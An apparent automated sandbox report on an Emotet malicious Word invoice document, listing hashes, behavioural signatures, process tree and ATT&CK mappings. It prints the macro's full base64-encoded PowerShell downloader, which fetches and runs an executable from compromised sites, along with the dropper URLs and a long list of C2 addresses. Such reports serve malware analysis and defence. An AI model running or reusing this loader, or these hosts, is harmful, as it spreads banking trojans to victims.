emotet | cbb857ef4e6a3fd6c97835111cd57faa9a633931718e00486d9d6ab47dbc88c0

General

Target
invoice-H7-798436.doc
Size 226KB
Sample200811-1lw8ds4rz2
SHA256 cbb857ef4e6a3fd6c97835111cd57faa9a633931718e00486d9d6ab47dbc88c0
MD5 c8d7be6e545919ec13eb02198bd6a1a8
SHA1 95d4ba0cb0b50775ae971638b9b5fcf235779331
SHA512 2a2a2623d0e22670f39a7e3abfd6fe6545d2c45addd3ea32b8e1f150cfa785636127e6e7f84efcbdb97bcf98a037de18b908b7cbda29741b3e8b4d7a160abc96
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://samontime.com/wp-content/M7cidlobkp899135/
exe.dropper
http://techycivil.com/wp-content/wvr/
exe.dropper
http://scoopmagazines.com/wp-content/uploads/2020/sEsCvKF/
exe.dropper
http://besanads.com/wp-admin/PbgJVpz/
exe.dropper
http://sindobatam.com/cgi-bin/5yq6g129/

Extracted

Family

emotet

C2

92.24.51.238:80
139.99.157.213:8080
188.166.25.84:8080
81.214.253.80:443
5.79.70.250:8080
41.185.29.128:8080
181.164.110.7:80
177.37.81.212:443
203.153.216.178:7080
178.33.167.120:8080
77.74.78.80:443
37.70.131.107:80
190.164.75.175:80
75.127.14.170:8080
78.188.170.128:80
113.161.148.81:80
105.209.235.113:8080
177.144.130.105:443
81.17.93.134:80
181.134.9.162:80
163.172.107.70:8080
202.5.47.71:80
192.241.220.183:8080
201.235.10.215:80
203.153.216.182:7080
172.105.78.244:8080
139.59.12.63:8080
192.210.217.94:8080
97.104.107.190:80
31.146.61.34:80
107.161.30.122:8080
182.187.139.200:8080
188.251.213.180:443
37.46.129.215:8080
216.75.37.196:8080
176.9.93.82:7080
87.252.100.28:80
74.208.173.91:8080
198.57.203.63:8080
188.0.135.237:80
181.167.35.84:80
185.142.236.163:443
113.160.180.109:80
50.116.78.109:8080
115.165.3.213:80
187.64.128.197:80
78.189.60.109:443
153.220.182.49:80
87.106.231.60:8080
181.113.229.139:443
143.95.101.72:8080
46.32.229.152:8080
179.5.118.12:80
75.139.38.211:80
157.7.164.178:8081
190.55.233.156:80
212.112.113.235:80
185.208.226.142:8080
195.201.56.70:8080
115.78.11.155:80
192.163.221.191:8080
212.156.133.218:80
114.173.201.110:80
91.83.93.103:443
51.38.201.19:7080
46.105.131.68:8080
190.190.15.20:80
182.176.95.147:80
115.79.195.246:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	352	3956	powersheLL.exe	67

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2460-20-0x00000000001F0000-0x00000000001FC000-memory.dmp	emotet
behavioral2/memory/2460-20-0x00000000001F0000-0x00000000001FC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	352	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2460	413.exe
3244	gamingtcui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\winrnr\gamingtcui.exe	413.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4048	WINWORD.EXE
4048	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
352	powersheLL.exe
352	powersheLL.exe
352	powersheLL.exe
3244	gamingtcui.exe
3244	gamingtcui.exe
3244	gamingtcui.exe
3244	gamingtcui.exe
3244	gamingtcui.exe
3244	gamingtcui.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	352	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE
4048	WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 3244	2460	413.exe	76
PID 2460 wrote to memory of 3244	2460	413.exe	76
PID 2460 wrote to memory of 3244	2460	413.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\invoice-H7-798436.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4048

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAE0AUgBPAE8AegBnAG0APQAnAEsATABOAEQAVgBkAG0AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAGAAVQBSAEkAVABZAHAAcgBgAE8AdABPAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBWAEYAVwBCAHAAdABmACAAPQAgACcANAAxADMAJwA7ACQARQBQAFYAUgBaAGsAaABwAD0AJwBIAFAAWABYAEMAbwBjAHkAJwA7ACQARABVAE4AUQBEAHkAdwBtAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAFYARgBXAEIAcAB0AGYAKwAnAC4AZQB4AGUAJwA7ACQATwBHAE4ASgBSAGUAbQBhAD0AJwBYAFoAQgBLAFcAZQB0AGEAJwA7ACQAQwBVAFIASwBPAHcAaQBmAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMAbABJAGUAbgB0ADsAJABVAFMAVQBOAEwAaQBqAGsAPQAnAGgAdAB0AHAAcwA6AC8ALwBzAGEAbQBvAG4AdABpAG0AZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAE0ANwBjAGkAZABsAG8AYgBrAHAAOAA5ADkAMQAzADUALwAqAGgAdAB0AHAAOgAvAC8AdABlAGMAaAB5AGMAaQB2AGkAbAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHcAdgByAC8AKgBoAHQAdABwADoALwAvAHMAYwBvAG8AcABtAGEAZwBhAHoAaQBuAGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwAyADAAMgAwAC8AcwBFAHMAQwB2AEsARgAvACoAaAB0AHQAcAA6AC8ALwBiAGUAcwBhAG4AYQBkAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFAAYgBnAEoAVgBwAHoALwAqAGgAdAB0AHAAOgAvAC8AcwBpAG4AZABvAGIAYQB0AGEAbQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADUAeQBxADYAZwAxADIAOQAvACcALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBVAFMARABHAGsAdABlAD0AJwBOAE4ATABQAFQAZQB0AHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAUgBNAFIASABuAHAAbAAgAGkAbgAgACQAVQBTAFUATgBMAGkAagBrACkAewB0AHIAeQB7ACQAQwBVAFIASwBPAHcAaQBmAC4AIgBkAG8AVwBuAEwAbwBhAGAARABmAEkAYABMAEUAIgAoACQARQBSAE0AUgBIAG4AcABsACwAIAAkAEQAVQBOAFEARAB5AHcAbQApADsAJABNAFUAWQBSAEYAeQBhAGoAPQAnAEsAWABUAFMARQBiAGUAawAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEQAVQBOAFEARAB5AHcAbQApAC4AIgBsAGUAbgBnAGAAVABoACIAIAAtAGcAZQAgADIAMwAwADIAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAAZQBgAEEAVABlACIAKAAkAEQAVQBOAFEARAB5AHcAbQApADsAJABMAEEARABRAE0AYQB5AG0APQAnAEkARwBXAFIARgBhAGgAZwAnADsAYgByAGUAYQBrADsAJABBAFAAVABEAFcAdQBqAGcAPQAnAFUASgBLAEwASQBhAHMAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAEUATABSAEcAbABjAGIAPQAnAE4ARwBOAFIAVwB2AHMAawAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:352

C:\Users\Admin\413.exe
C:\Users\Admin\413.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Windows\SysWOW64\winrnr\gamingtcui.exe
  "C:\Windows\SysWOW64\winrnr\gamingtcui.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:3244

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/352-15-0x00007FFDC5910000-0x00007FFDC62FC000-memory.dmp

Download

memory/352-16-0x0000019AB46B0000-0x0000019AB46B1000-memory.dmp

Download

memory/352-17-0x0000019AB4860000-0x0000019AB4861000-memory.dmp

Download

memory/2460-20-0x00000000001F0000-0x00000000001FC000-memory.dmp

Download

memory/4048-11-0x00000248E1958000-0x00000248E195D000-memory.dmp

Download

memory/4048-12-0x00000248E194F000-0x00000248E1958000-memory.dmp

Download

memory/4048-13-0x00000248E1B3D000-0x00000248E1B42000-memory.dmp

Download

memory/4048-14-0x00000248E1B3D000-0x00000248E1B42000-memory.dmp

Download

memory/4048-0-0x00007FFDCD490000-0x00007FFDCDB56000-memory.dmp

Download

memory/4048-10-0x00000248E194F000-0x00000248E1958000-memory.dmp

Download

memory/4048-9-0x00000248E194F000-0x00000248E1958000-memory.dmp

Download

memory/4048-1-0x00000248E01F0000-0x00000248E01F4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads